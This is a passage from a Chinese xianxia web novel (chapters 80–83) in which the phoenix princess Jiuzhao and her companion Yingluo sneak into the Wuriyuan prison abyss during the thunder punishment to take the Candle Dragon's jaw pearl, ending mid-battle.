他害怕自己在嫉妒、担惧和不甘的驱使下,会做出将她直接囚禁起来的行为。 生生退到无法第一时间触碰到她的距离, 才极力维持着理智,问道:“好,就算为了良心能安, 殿下一定要去一趟无日渊,可难道就这样莽撞吗?天色已晚,您身心俱疲,甚至连可行的计划也无。” 出乎他的意料, 九昭果断摇头:“我有可行的计划, 回来这一路上已经充分思考过了。” 不祥预感乍现, 瀛罗的指尖抖索几下:“是什么计划,请殿下直言。” “我说了, 你不要掺和进来, 这不干你——” “请殿下告诉臣。” 青年微微拔高声量,盖过九昭抗拒的尾音。 他下颌绷紧, 目光决绝, 颀长身躯如山矗立在九昭面前, 大有九昭不说就绝不让步的架势。 僵持不到片刻, 九昭败下阵来。 “……算了, 让你帮忙查漏补缺下也好。” 她酝酿几息, 将脑海里大致的步骤转化为文字,说与瀛罗听:“你知晓的,无日渊位置特殊,是一座高山陷落后形成的深谷,因着七日一次的九天雷罚,方圆百里并无生灵栖息。 “除了防止出逃的禁制外,唯有司罚上神手下的两位天仙镇守,而雷罚到来时,为了让镇压其中的罪神遭受最大苦楚,禁制会暂时失效。守卫们为了不受到雷罚的伤害,亦会远离无日渊。 “我想着,等雷罚到来之日,守备作为松懈,正是我潜伏进入的最佳时机。唯一的麻烦,便是我无从得知雷罚降临的准确日期,只能立刻前往,伺机而动——不过,好在三清天和芸生世的时间流速不同,就算我在那里待上几日,于人间而言,仅仅几息,料想不会引起他人怀疑。” 说完计划,九昭又问:“你且帮我看看,哪里还有改进的地方?” 瀛罗缄默良久。 而后失声道:“……你疯了?” 他秀美的面孔扭曲起来,堪比祝晏发病不能自持时的恶鬼模样,“雷罚降落时,会无差别攻击无日渊的每一寸土地,被它们劈中,哪怕只有一两下,你的神魂也会受到创伤—— “否则天令怎会择其作为惩罚中最严苛的一样? “就算退一万步讲,你运气好,捱过了雷罚,尚有行动能力,可受着伤闯进关押烛龙的监牢,你拿什么跟他战斗?天仙本就不敌半神,你负伤的状态,岂不是送上门让他杀?!” 九昭镇定依旧:“前头你自己说过的话忘了吗?无日渊是什么地方,神力高强如巫劭也备受折磨,那烛龙仅是半神,能扛得住万年雷罚活下来已是不易,哪里还会有那么强大的力量? “如此状态之下,我想赢他,总有几分把握。 “更何况,我是凤凰,有本命翎护身,再怎么样,总不至于死去。” 瀛罗仿佛置身于一场荒唐的噩梦里。 九昭檀口不断张合,传入他耳畔的,俱是舍生忘死的言语。 ……她是他心底的至宝。 呵护了千万年,捧在掌心怕摔落,含在口中又怕融化。 他守着她,费尽心机为她排除一切可能会伤害到她的人事。 她却还是被该死的男人伤了一次又一次。 如今。 她为了男人,却是连性命都不顾了。 哪怕损耗一根本命翎,能护得住性命—— 可祝晏是什么东西,怎配得上九昭如此?! 杀意不断在瀛罗的四肢百骸中翻涌,某个弹指,他很想一剑贯穿那温养在长乐命牌里的男人的心脏,助他结束病弱低微的一生——也好叫九昭、叫自己不再那么痛苦。 可看着九昭的眼睛。 看着她脱去平日大大咧咧的外衣,流露出万般冷静的眼睛。 瀛罗清楚,他就算在此刻俯首跪地,抱住她的双腿痛哭挽留,也拦不住她。 唯有陪着她,恩罚同担,生死与共,才不至于第二次失去她的信任。 于是,他再度咽下满嘴的苦涩,很慢很慢地说道:“如果殿下一定要这么做,那么臣,也一定要同去……臣会拼上性命,守护殿下的安全。” “我说了,你不必——” “这是臣最后的底线,若殿下不同意,臣会立刻传讯上禀帝座。” 对方如此倔强,叫九昭准备了一肚子的话再难出口。 与此同时,某道清晰的声音,在她的心底响起: 假设今日身份倒转,执意要去无日渊的是瀛罗—— 作为交心万年的知己,她也做不到袖手旁观,放任他独自前去。 …… 事不宜迟。 两人清点了一遍储物戒中能够用到的装备,便开启前往无日渊的传送阵。 无日渊名义上虽归三清天所有,却是一处跳脱三界外,无根无源、无昼无夜之地。 渊指深谷。 而它的外围,则是一座浮在云雾间,由黑色岩石天然形成的高山,被称作万雷山。 高山拔峻,陡峭不平,连绵至山脚,又向四方延展开百里同样漆黑的荒芜陆地。 组成这一幕景象的黑色岩石,便是吸引雷罚频频降临的原因。 它们一名“积雷岩”,其中暗含天然能量场,需要依靠吸收雷意,方能维持石形不散。 经过长时间的传送后,九昭和瀛罗挑选了处背风的岩坳,作为暂时的落脚点。 上神的禁制分布在万雷山簇拥的深谷周围,而禁制之外,是看守的天仙延湛和稷悯。 他们分别来自西海和东原。 其中出身鲛人族的延湛和瀛罗是远亲,且有一定的交情。 不过这也算不上什么喜事。 天令之下,连父母子女尚不能包庇容情,更何况只是远亲。 …… 耗费两日,九昭和瀛罗一起弄清了无日渊的大致情况——又察觉出两位守卫天仙之间,似乎关系不好,他们通常一人镇守在高山的一边,相隔很远,整日不会碰面,也几乎没有任何来往。 九昭疑惑,身为同僚,两人何以会冷淡成这样。 更加不明白,既然已经相看两厌到这种程度,怎么无人请旨调离此处。 看穿其中用意的瀛罗同她解释:“要的就是如此,他们镇守在此,虽为同僚,也有相互监督的一层意思,否则万一守卫与罪神勾结,与之关系亲密的另一位,选择同流合污就不好了。 “殿下,其实不仅仅是无日渊的守卫,这两厢制衡之道,他日您同样可以用在别处。” 九昭似懂非懂地听着,很快苦恼起最要紧的事:“我们来了两日,观此天象,雷云积聚,恐怕雷罚降临之日马上就要到来。可无日渊这么大,关押的罪神罪仙不少,若确定不了烛龙的位置,做什么都是麻烦。” 瀛罗这两日也在思考这件事。 方才九昭的询问,给了他一些新的方向。 沉吟片刻,他说道:“臣年幼时,延湛的父母皆为臣父王的属臣,臣与他来往密切,算得上比较了解他的脾气秉性,若直接拟态成他的模样,大约稷悯不一定能区分得出来。 “不如就由臣乔装前去与稷悯交谈,探知烛龙的位置。” 瀛罗方法聪明,又很冒险。 正是利用了两人关系不好,成日不见一面的嫌隙。 他们又细细商量了一个时辰。 最后决定兵分两路。 瀛罗变成延湛的模样,去稷悯面前,以察觉到不知名的力量波动为由,要求对方随同前往无日渊,查看每一位关押的罪仙状态。 而九昭则负责制造事端,吸引住另一头,真正的延湛的注意力,不致谎言被拆穿。 这无日渊四处雷意积聚,偶尔会有电光天火蹿起。 守卫的职责,就是守护周围的安稳,不管是多么小的事情,都有义务查看平息。 电光属系为火,天火属系为火,九昭的属系亦为火。 周围环境给了她得天独厚的助益,以此隐瞒自身的仙力气息。 天边雷云卷积成片,恐怕明朝便是雷罚之日。 相比瀛罗要亲身同稷悯相对,九昭这边担负的风险更小。 可计划环环相扣,她要是吸引不了延湛的注意,也会引发一连串的危机。 分别之前,九昭特地塞了两张祝晏赠予自己的敛息符给祝晏,以备不时之需。 瀛罗亦道,会给九昭留出一炷香的时间引走延湛,届时他再变幻身形去寻稷悯。 …… 九昭估算着时间,飞身来到山的另一边。 一抬头,望见坐在靠近山腰的岩石上,利用自燃天火烤鱼吃的延湛。 “……” 九昭嘴角抽了抽。 差事期间,竟有这等闲情逸致。 她同样隐身观察过另一位天仙稷悯,对方一副稳重古板的性子,难怪会合不来。 想了想,九昭认为他在这无日渊镇守千年,早已习惯了雷意过盛,偶尔会出现的动静。 相比干活,肯定是烤鱼更有意思。 她便趁着延湛吃鱼的间隔,在遮挡他视野,但并不太远的山石后埋入第一缕仙力。 十几丈外,又埋下第二缕。 距离有长有短,有曲有折,尽量不显露人为的痕迹。 如此几次,若计划顺利,延湛就来到了足够远的山脚下,看不见山顶的情况。 完成这一切后,九昭折返山腰,眼见延湛的手中只剩了个鱼尾,便躲在一块巨大的黑岩侧畔,小心翼翼地捻动指尖,引燃了第一缕。 轰—— 积雷岩的能量远超她的想象。 石块爆裂,迸发的山火蹿起半丈高。 九昭惊得呼吸都颤了颤。 远处,延湛亦被吸引着,将鱼尾连骨带肉吞了进去。 他顾不得用清洁术涤净双手,掌心朝下,随手在旁边的石头上揩了揩,却是没有多想,仅仅低声自言自语道:“是雷罚要来了的缘故吗……这天火怎么突然蹿得这么高?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 81| 第81章 ◎“如果今日得了弱症的是我。”◎ 延湛为水, 稷悯为土。 他们被选为镇守无日渊的仙官,还有一个很重要的原因。 那就是雷劫之后,整座万雷山会出现不少无法自然止熄的天火, 需要水系天仙来施术引灭。 而土系天仙, 则负责一些岩石断裂处的稳固修复。 唯有万雷山安然无恙,无日渊才能保持常态,不至于造成山体崩塌,罪神外逃的局面。 同样的, 平时因为力量场不稳定,偶尔出现的电光天火,也在延湛负责处理的范围之内。 延湛做惯了这些小事, 喃喃自语结束,动作却是从容不迫。 信步来到爆炸的积雷岩前,他单手掐诀,一道寒冽的冰蓝色仙力如瀑布倾注。 天火还想负隅顽抗, 不过几十转呼吸, 便在延湛的压制之下, 越来越小,直至彻底熄灭。 九昭瞅准时机, 率先飞身向下, 引燃第二缕仙力。 轰! 又是一道震天响声。 延湛堪堪回归轻松的面孔一呆,小小翻了个白眼, 不作怀疑地跟了下去。 爆炸, 熄灭。 熄灭, 爆炸。 如此重复三五次后, 他被九昭引到了山麓处。 仙力在漆黑干涸的大地上流淌。 所到之处, 中和天火的炽热, 漾开一片沁凉温润的霖泽。 就在九昭欣喜计划进行得这般顺利,简直是祖神娘娘都在帮助自己之时,那看起来懒散又迟钝的驻守仙官,却是暂缓了手上输出的仙力,目光警觉起来,低声自问自答:“我在此镇守近万年,都不曾见过雷罚不来时,就如此频繁迸发的天火——莫非,其中有什么异样?” 说完,他反手凝起一丝仙力,探入天火当中,感知力量来源。 事情猝不及防发生转折,九昭的心亦被他倏忽严肃的表情,唬得悬在喉咙间。 她回顾着自己先前的每一步行为:作为三清天硕果仅存的凤凰,可以说释放仙力时,那远比普通火系神仙更加澎湃灼烈的气息,就是她神姬身份的最直观象征。 顾及到这点,她在埋入仙力于积雷岩的过程里,已经尽力将其全部抹去。延湛与她同处天仙之位,就算在位年岁超多她许多,也不至于一眼就看破天火引燃之事乃人为。 可话说回来,不怕一万,就怕万一—— 越是紧张的时刻,脑海里总是涌出可怕的假设。 九昭死死盯住正在闭目分析的延湛,心中想到,不管如何,一人做事一人当,倘若延湛真的发觉了不对劲,自己拼着现身同他打斗,也要掩护无日渊中的瀛罗安全撤退。 思忖间,她指尖半屈,就要提前召唤出打神鞭。 延湛却突然睁开了眼。 “好像,没什么不一样。” 他抠了抠脑袋,视线一阵起伏不定的迷茫:“雷罚降临前夕,积雷岩里积蓄的雷意被雷云吸引得蠢蠢欲动,电光天火爆发得频繁一些,实属正常,这种情况嶷山上神曾经说到过……我在想些什么,谁会来这个鸟不拉屎的地方捣乱?跟稷悯那个老古董待在一起,难道我也被同化了吗? “罢了,又没有证据,跑去同稷悯提起,说不定也是被奚落一番—— “我才懒得去!” 巫劭反叛失败被镇压后,无日渊迎来了万年的安宁。 就算三清天和焚业海偶有摩擦,却不会打扰这里独有的平静。 无需付出什么,也不会有性命威胁,就是日常生活清苦了些。不过驻守的天仙一万年便能一换,只要耐得住寂寞,返回三清天时,还可以在功绩簿上大大记一笔。 延湛任期将满,长久的安逸早就消磨了他的机敏之心。 他的话语,被九昭一字不落地听进耳里。 打神鞭刚凝结出个头,又迅速化为碎光消失。 她看着说服自己完毕,延湛弯曲的身体直了起来,口中哼着小曲,就要重新折返山腰。 可与瀛罗约定好的时间还没到,他离开的距离也不够远。 仙力既注入了积雷岩,就无法抽出。 留在这里,始终是个隐患。 九昭一咬牙。 将剩下布置的几处一同引爆。 轰轰轰! 连亘的天火一路绵延至山脚,延湛终于手忙脚乱起来。 他无暇再去思考其他,急急转过意欲上山的身体。 “虽然你的懈怠为我提供了潜入无日渊的机会。 “但镇守着要紧之地,还如此不上心,活该你承受这七慌八乱的灭火之苦!” 轻声讥讽一句,九昭抱臂坠在延湛背后,一路看着他叫苦不迭地奔下山去。 …… 一刻钟后,瀛罗终于传来密音。 他告诉九昭事情成功了,自己打探到了关押烛龙的位置。深入无日渊的一路上,稷悯显然对于延湛厌恶到了极致,满脸嫌弃,半句多余的话也不愿交谈,并未心生怀疑。 事情虽有惊,却无险。 连带着,九昭对于即将到来的九天雷罚,心态也乐观了起来。 他们回到栖身的岩坳里,分享各自的收获。 九昭喜滋滋道:“你们鲛人仙族的延湛,倒是比那木头似的的稷悯机敏一些,过程中看到频繁喷发的山火,他心存了一瞬怀疑输入仙力查探。不过我想到了这层,提前将自己的凤凰气息都掩盖了,他查不到什么,又不愿跟稷悯商量,最后只能老老实实走进我的圈套中。” 这样的机敏,有和无也没什么差别。 瀛罗性格谨慎稠密,自然看不惯延湛散漫的态度。 他皱了皱眉,略过这个话题,说起自己在无日渊中的见闻:“罪仙们的罪名由轻到重,分别关押在不同的监牢中,稷悯带着臣,接连通过了五道关卡,才抵达关押烛龙和巫劭的最底层。 “建造监牢的材料来自西海,为最克制火系之力的西极寒铁。 “监牢独立存在,外设有层层禁制,臣未曾瞧见巫劭,不过烛龙倒是还活着,他化为了龙身,脖颈和四肢都被寒铁锁住,我们前去查看时,他蜷在角落一动不动,看起来十分虚弱。 “殿下果然料事如神。” 瀛罗没来过无日渊,所知晓的信息均来源于古籍,并不清楚内里的构造。 他向九昭汇报消息,又忖及九昭前两日说起,自身对于关押其中的烛龙情状的猜测时,满脸笃定的模样,冥冥之中,忽得福至心灵:“殿下,莫非您来过无日渊……?” 九昭犹豫几息,这才吐露实情:“几万年前母神的冥诞,父神曾带我来过一次。那时他掏出自己的神令,才进入第一层,却突然站住不动。过了不到片刻,又什么都没说,领着我离开了。 “所以我虽然来过,但没有很清晰的记忆—— “只晓得那些关押的人身上都缠着锁链,而父神的令牌能够开启所有的禁制。” 说到这里,她右手向上,一道神光在雪白掌心凝聚,“恰好,彼时还很年幼的我,觉得父神手里那块什么禁制都能开启的神令很威风,便缠了他三天三夜,哄得他也为我做了一块。” 光芒散去,刻有紫微宫印和神帝尊号的令牌出现在瀛罗面前。 瀛罗沉默。 他终于明白为何九昭对于闯入无日渊,取得下颌珠的事情如此志在必得。 原来。 就像她说的那样。 这件事她一个人的确能够办成,只是耗费的代价更大一些。 “所以,瀛罗,我很感谢你为我探明了烛龙关押的位置,也很感谢你为我所做的一切。 “明日便是雷罚之期,你瞧我已经准备得这样万全,有开启一切禁制的神令在手,又有抵消一次致命伤害的本命翎护身,其实并不需要你赌上性命和未来去保护,眼下你退出还来得及。” 九昭又一次劝诫起瀛罗。 瀛罗反问:“不管殿下准备得多么充分,到底会不会受伤,擅闯无日渊是重罪,这也是殿下最后一次回头的机会,反正您不救祝晏,他也不会怨恨您,他赴死是心甘情愿的—— “您可愿意就此收手?” 这次,变成了九昭沉默。 一种瀛罗看透却不理解的倔强,隐约在她面孔浮现。 他不明白九昭在坚持什么。 说到底,她也并不是那么爱祝晏。 她贵为神姬,不管是过去、现在,还是以后,只要一声令下—— 有的是人心甘情愿为她去死。 难道仅仅因为祝晏对她多了一层爱意,她就要九死以报偿吗? 想到这里,瀛罗再度重复:“您知道臣的个性的,最后一次机会,我们可以一起回头。” 九昭垂落的眼帘倏忽抬了起来,目不转睛地看着他。 就在瀛罗以为她被自己说动的时候,她的神色如荒原的天火般明灭着,不知名的愤怒迅速迸发:“我不明白,哪怕我跟祝晏没有任何关系,但他性格温和,天赋又出众,若能好好活下去,将来必定能为三清天做出贡献——而烛龙一个罪神,早晚都要死,用他救祝晏难道不值得吗?” 瀛罗无言以对。 只能最公事公办的态度:“殿下,这是天令。 “神仙被投入无日渊,便象征着罪无可恕。既罪无可恕,狱门就终生没有开启的一日。 “……若违规开启,谁也说不好会造成何等可怕的局面。” “或许你说得对吧。” 九昭目光平静,“可你觉得,如果今日得了弱症的是我,父神会怎么做呢?” 无需细想,瀛罗唰得面色苍白起来。 “看,你也知晓答案。” 九昭勾起唇角,冰凉地笑了笑,“我犯下错误,天令可以选择忽略,孟楚犯下错误,天令可以纵容包庇——祝晏难得有一线生机可以活下去,人人却说要遵循天令。” “天令啊天令。 “神圣不可违拗的天令—— 她冷冷重复几次。 “所以我说,有时候我真讨厌这该死的、只针对弱者的天令。” 82| 第82章 ◎“您不唤我阿烛了吗?”◎ 瀛罗不肯退出, 九昭也拒绝放弃。 彼此都不愿意妥协,便只能互相妥协。 不过,岩坳内的气氛终究是冷了下来。 两人各自占据一边, 沉默地望着仿佛无边无际的漆黑大地。 无日渊中没有昼夜区分, 单调的景象看多了,纵使心中装着无数烦恼,九昭依旧架不住困意的来袭。她枕着凸起的岩壁,迷迷糊糊睡了不知多久, 忽然被一阵沉闷的雷鸣惊醒。 猛地睁开眼,广阔天幕已被铅灰色云层灌满。 它们好似吸足了水汽,看起来既厚且重, 沉闷坠于眼前,曳曳电光穿梭其中。 九昭环顾四周,又见两道身影自不同方向迅速飞离,料想应是延湛和稷悯。 脑海的困意被第二声雷鸣尽数驱散, 她一骨碌坐起身来, 手边瀛罗神容凝肃, 满脸清醒。 他未看九昭,沉声道:“雷罚就要降临了。” 两位镇守的天仙已经撤离, 接下来, 便是他们行动的时机。 九昭抹了把面孔,解除隐身状态。 正想趁着雷罚未落, 赶紧行动, 一件流光隐烁的长袍自旁边轻飘飘飞来, 覆在她的肩头。 九昭转过头, 见只穿着月白中衣的瀛罗说道:“这件鲛衣, 是臣降生时, 父王赠予的珍贵礼物,其中融入了鲛人之祖禺风大神的三块鳞片,面对世间一切的火系力量都有抗性——雷罚为九天之火,威力不可估量,殿下穿着它,总能免去一部分伤害和痛楚。” “那你怎么办?” 九昭抓住鲛衣一角,反问道。 “不要紧,臣为水系,水能克火,抵抗力总比殿下好上许多。” 瀛罗的话,显然在安慰。 九昭亦心知肚明,作用仅仅是安慰。 面对雷罚,同等实力之下,水系神仙是比火系神仙能撑得久一些——但区别不过是能稍微多捱几下罢了,否则天令也不会规定,雷罚是惩处诛灭所有神仙的最终刑罚。 九昭断然脱掉鲛衣,又要披回瀛罗身上:“不可以,我本就亏欠你良多。” 雷罚马上就要劈下。 时间迫在眉睫,不容他们互相推让。 看了眼云间累聚到一处。越来越粗壮的电光,瀛罗当机立断,将鲛衣抛向半空,指尖凝结仙力,促使其不断变宽变长,最终化作一面半透明的衣伞,恰好罩住彼此头顶。 “这样就可以了,你我都能被保护到。殿下,快走吧。” 九昭不再有异议。 为了防止脱离鲛衣的遮蔽范围,两人手拉着手,腾空而飞。 轰隆—— 第一道雷罚降临,游龙一般的电光径直撞入无日深渊。 刹那间,整片大地都仿佛被铁锤猛烈敲击,滚滚岩石自山体之上滑落。 九昭所处的位置离无日渊尚远,因此雷罚的频率并不密集。 她带着瀛罗灵活穿梭在电光中,寻找着不被击中的空隙。 乌云压山,顽石亦摧。 雷罚中的万雷山更像是一座死山。 动用神令,破解层层禁制,抵达无日渊最底层时,九昭凭借昔日扶胥传授过的,在流星群中不断跳跃落足的身法,很幸运的没有受到一下雷击。 然而,好运仅仅到此为止。 越往下,无日渊的空间范围越狭窄。 供人躲避的间隙也接近于无,九昭猜测在建造囚禁烛龙和巫劭的监牢时,多半掺入了引雷的材料,那原本无差别降落的电光,攻击他们时就像是突然长了眼睛,每一次都精准劈进牢笼内。 在瀛罗的指引下,九昭穿过萦绕在底层,阻碍人认清方向的浓雾,到达关押烛龙的牢狱前。 她将神令抵上牢门的机括,与瀛罗相视一眼。 瀛罗用心音说道:“进去之后,便没有地方躲避雷罚了,殿下,我们一定要速战速决。” 闻言,九昭立刻催动了体内的凤凰真血,打神鞭亦在掌心显形。 她深呼一口气,指尖使力,将神令契进缺口。 神芒大亮,监牢应声而开。 迅疾的电光也穿透鲛衣,毫无征兆地劈落在九昭身上。 虽经过水系神力的弱化,那滋味却叫九昭体会过一次就毕生难忘。 炽热爆裂的力量穿透皮肤血肉,直击灵台。 脏腑震颤,百骸抖鸣。 悬浮于灵台的元神仿佛燃烧了起来。 九昭跨入牢笼的脚步一顿,整个人差点趔趄在地,幸被眼疾手快的瀛罗搀扶。 雷罚加身,瀛罗同样不好受。 但他曾投身军队磨砺多时,不比九昭从小到大养尊处优。 他正欲就这般扶着九昭,带她进入牢笼,那头九昭一咬牙,却是推开了他的手。 她定了定心神,忍耐着体内流窜的雷罚之苦。 握紧打神鞭,先瀛罗一步迈开脚步。 笼罩在周围的迷雾被阻挡在网栅之外,一条浑身赤红的长龙映入九昭眼帘。 其实,瀛罗的描述并不十分详细。 九昭在脑海中产生的相对印象,也与现实有所不同。 她知晓三界没有龙的种族。 唯有焚业海的溟潭和三清天的西海深处栖息着一群蛟。 龙为天地间至威至圣之物,唯有登神成功的蛟族,才能飞升为龙。 九昭的父亲,三清天神帝是龙。 而烛龙,不过是半神,后又自甘堕落,为虎作伥。 九昭以为他至多不是留有龙化痕迹的魔蛟,却不想,除却颜色以外,与她的父神别无二致。 感应到两人的气息,烛龙顿了顿,扭过头来。 战意一触即发。 九昭握紧打神鞭,赤色的真血辉芒在她的躯体上燃烧。 她无声转动视线,观察着颌下珠的位置,想要一击得中。 对方的反应却比她来得更快。 随着又一道惊雷乍响,嘶哑不失悦耳的男声自獠牙尖锐的龙吻中传出: “……主上,是你吗?” 九昭使鞭的手顿在半空。 主上。 什么主上? 她的神容出现清澈的迷茫。 一旁的瀛罗想到了什么,立刻用只有彼此能听见的密音说道:“殿下,神后殿下与罪神巫劭为一母同胞的双生姐弟,身上流淌着相同的凤凰血脉,您又继承了神后殿下全部的真血之力——那烛龙跟随巫劭征战多年,恐怕通过气息分辨,将您错认成了它的主子。” “气息分辨?” 九昭重复一遍瀛罗的话,感到匪夷所思,“我哪里像个男人,烛龙又不是瞎了眼——” “睛”字还未出口,她的双眼恰好与等不到回应,朝着气息散发处努力伸过头来的烛龙对上,才发觉那龙类特征明显的金色竖瞳间雾蒙蒙一片,失去了视觉正常情况下应具备的光亮。 原来如此。 九昭的眉心一跳。 战斗的敌方是个瞎子,还是一个将她错认为主人的瞎子。 那么事情的后续发展,就不再只有最坏的方向。 “这条龙在无日渊众关了不知多久,眼睛瞎了,看起来神志也不是很正常。你说,我若用巫劭的身份欺骗它,有没有可能不动用武力,就拿到他的颌下珠?” 绕着烛龙的下颌找了一圈,九昭都没瞧见疑似珠子的东西。 她猜测要拿到颌下珠,就算不把它的血肉挖开,多半也得采取点特殊手段。 有天时地利人和的现成好处在这,九昭动了心思,询问起瀛罗来。 瀛罗慎重道:“溟潭的魔蛟狡诈,烛龙反叛堕天后,常与它们厮混在一起,心性变化亦未可知,望殿下千万小心。不过殿下提出的方法,也不失为一计良策——殿下预备怎么做?” 九昭眼珠一转,顿生计策:“我知晓芸生世那些未飞升的鲛人族,歌声拥有迷惑人心的作用,不知为仙之后,你是否还具备这样的能力?虽然我未见过巫劭,但凭借一身凤凰真血的气息,再加上鲛声迷惑,说不定能骗过这条幽闭已久的傻龙。” 相伴万年,默契早已形成。 九昭话音未落,瀛罗的长发倏忽无风自舞。 他的耳廓拔高,边缘支出浓密发丝,锋利剔透的薄棱顿生,耳后亦出现三道狭长腮裂。 随着腮裂悄然张合,九昭无法形容的音浪层层散开。 不似人耳能正常接受的音量,如同一道道蛊惑的涟漪,以瀛罗为中心,迅速拂向烛龙。 成败在此一举。 九昭盯着烛龙的面孔一瞬不瞬。 几息后,那冰冷的、充满压迫感的龙首,陡然间多了一阵怪异的变化。 如果非要形容,就像是无枝可依的幼鸟,终于在狂风暴雨中寻到了可以栖居的巢穴。 九昭在烛龙脸上见到了一种近似人的情绪。 濡沐的、信赖的、安心的。 她猜测烛龙已经堕入了瀛罗释放的迷幻之音中,便试探性地唤道:“烛龙,是我。” “主上,您怎么这般称呼我? “您不唤我阿烛了吗? “您是从无日渊中逃了出来,来救我的吗?” 纵使被寒铁锁链紧紧箍住,烛龙依旧拼尽全力向前,渴望碰一碰幻觉中“巫劭”的衣角。 九昭被那声极其温柔的自称惊得无言一秒。 这关系,怎么搞得好像亲生父子一样? 她咽了口唾沫,又被冷不丁降落的雷罚劈得一阵面目扭曲,缓了几息,才用尽量和煦的语气继续哄骗道:“是啊,阿烛,我从无日渊中出来了,但是受了重伤——” “怎么会这样?” 烛龙声调拔高,“是三清天那群走狗伤害了您吗?!” 他才走狗。 他全家都是走狗! 九昭在心中大骂,偏偏面上还要顺从:“是啊……就是三清天的人伤了我,阿烛,我需要你的颌下珠才能治疗伤势,你可愿意暂时借给我?待我伤好,便领着你冲出无日渊,杀回三清天!” 此话出口,九昭存着几分忐忑。 她思忖这样索要会不会过于急切,可鲛衣之上,九天雷罚却是永不停歇。 不知是不是禺风的鳞片缓冲能力太强,习惯了那种痛楚,九昭发觉自己其实没受太大的伤。 倒是一边的瀛罗,那原本就雪一般白的俊面,又苍白了不少。 心潮起伏间,烛龙在短暂安静后,欣然回应道:“只要献出颌下珠便能助主上一臂之力吗? “那太好了—— “属下被锁链锁着,无法挣脱,请您过来,属下告诉您颌下珠的具体位置。” 83| 第83章 “殿下, 别过去。” 瀛罗条件反射将九昭拦住。 他的目光快速掠过不远处翘首以盼的烛龙,肃声提醒,“有寒铁锁链阻碍, 烛龙触碰不到您, 还算安全,可您一旦过去,不仅会被寒铁的阴寒之力侵蚀,更会进入它的攻击范围。” 九昭也跟着瞥了一眼, 不以为意:“你的迷幻术明明起了作用,单看那畜生的表情就知道。” 一来一往交谈间,她亲眼看着不知第几道雷罚劈下来, 落在瀛罗身上,内里的另一重担心也跟着加重,“况且,我看你的脸色不是很好——我们已经耽搁不起时间了, 还是先做再想吧!” 说完, 她便过去了。 瀛罗连忙驱动鲛衣, 跟了上去。 不过吃一堑长一智,九昭终究多留了个心眼。她上前十几步, 站在不远不近, 伸手可以触碰到烛龙利爪的位置,用哄孩子的语气说道:“好阿烛, 我来了, 快告诉我颌下珠在哪儿吧?” “主上可以再近点吗?” 烛龙也小孩子似地撒起娇来, “万年不见, 您能像小时候那样摸摸我的头吗?” 九昭:“……?” 这烛龙小了巫劭万余岁, 该不会真的是他的私生子吧?? 九昭额头不耐烦的青筋突突直跳。 考虑到对方此刻深陷在幻觉之中, 为了不打草惊蛇,只能忍耐下来。 她又走近了点。 还用密音吩咐瀛罗别再跟上来,否则他身上的气息会被烛龙察觉。 “那殿下把鲛衣带走吧,臣能扛得住。” 瀛罗忧心忡忡。 九昭摇首拒绝:“不用,这畜生这么大一条,放着也是可惜,正好可以用来挡雷罚。” 君命如此,瀛罗不好再劝什么,他眼睁睁地看着九昭离开自己的保护范围,缓步靠近烛龙。 在庞大兽躯的映衬下,高挑的九昭看起来也显得无比娇小。 似乎将她握在抓中,轻轻一掐,就能如同饱满的果实般,四分五裂开来。 偏偏待她站在眼前,那曾经杀死仙兵不计其数的猛兽,却化作温顺羔羊,低下了头。 它的两只利爪张合,将神姬殿下围在其中,硕然头颅充满依恋地于她掌心轻蹭。 眼前的一幕好似温馨,又怎么看怎么怪异。 瀛罗正思考着到底哪里不对劲,却见其中一只利爪以迅雷不及掩耳之势抬了起来—— 朝着九昭脆弱的后颈直直刺去。 “殿下小心——” 顾不得再使用密音,瀛罗祭出本命玉剑,冲上去以剑相抵。 铮! 利爪与剑体相撞,激出叫人牙酸的震响。 瀛罗被巨力冲撞得向后猛退一大步,万幸的是,过程里他将烛龙怀中的九昭拉了出来。 见一击不中,那种天真错乱的表情弹指从龙脸上褪去。 烛龙的瞳孔依旧雾蒙蒙的,昭示着它眼盲的实情,流着口涎的龙吻中却发出森然之声:“好可惜,差一点我就能为主上报仇,杀了你这个背叛主上的贱/人生下的小/贱/人。” 瀛罗扶着九昭的后腰,两人勉力稳住身形。 闻言,他寒声道:“你果然是装的!” “区区雕虫小技,还想来蒙蔽我——” 烛龙那毫无神采的眼眸中流露一丝嘲讽:“自己有几斤几两不清楚吗?” 九昭的大脑仍陷在骤生的变故中,没有立刻转圜过来。 陡然听见烛龙开口辱骂自己和早逝的母亲,两道怒极的火焰直欲从视线中喷射而出:“你这跟随罪神巫劭叛乱的魔龙孽畜,居然敢口出恶言侮辱我的母神,给我受死——!!” “哈。” 烛龙的鼻孔微微扩张,发出清晰一声嗤笑。 分明是被寒铁锁链束缚的阶下囚,它浑身上下反倒散发出悍然不惧的气息。 自己的轻敌被瀛罗猜中,颜面扫地,又适逢对方辱及母亲。 九昭眼底一红,深藏于心的戾气骤然激发。 她悬空浮起,一面高声怒喝,一面扬起打神鞭朝烛龙的下颌抽去。 凤凰真血的力量亦被凝结在鞭身表面,甩动间带有万钧之锋,似要劈断日月,倒转山河! 烛龙却还是轻描淡写地抬起了手爪。 那尖锐爪端闪烁着金属般的锋芒,九昭只觉一鞭下去,仿佛抽在了巍峨的高山之上。 好强的防御力。 它在无日渊中被关押了几万年,怎么依旧这么强? 九昭心中一悚,抬高鞭柄意欲撤回,又被烛龙握紧鞭尾,向下一掼,整个人狠狠摔在地上。 “真可笑,凤凰族的最强大血脉,主上凭借此傲视三界的真血之力,流淌在你的体内,竟然变成了这副不堪一击的模样——枉你作为太婀和嗣辰之女,原来是个庸庸碌碌的废/物!” 曾经用来嘲讽孟楚的评价,今日被烛龙用来讥讽自身。 尽管有瀛罗在旁低声劝慰“不要听信烛龙的言语打压,您不过三万多岁,相较同龄之辈,已是十分出色”——但九昭还是痛恨起自己的懈怠和放纵来。 来自九天的雷霆降下,击中衣衫下的脊骨。 九昭因疼痛而瘫在地面抽搐起来,接着又咬紧后牙,在烛龙的嘲笑声中一点一点爬起。 她又扬起打神鞭冲了上去。 瀛罗亦手持玉剑,从另一个方向与她左右夹击。 抽打、劈砍。 火焰、寒冰。 自九昭身后浮现的九方火球砸在龙鳞之上,熊熊的火光照亮了阴沉的牢笼。 瀛罗又信手凝聚起万重巨浪,咆哮波涛中隐匿着锋利如匕的冰冷,朝烛龙的腹部刺去。 这一战,远比仙阶考试更加吃力。 祝龙虽行动受限,一身顶尖的防御力却叫两位年轻的天仙无可奈何。 它身躯半蛰,不动如山。 偶尔瞅准两人疏于防范的时机,喷火吐息,爪牙相迎。 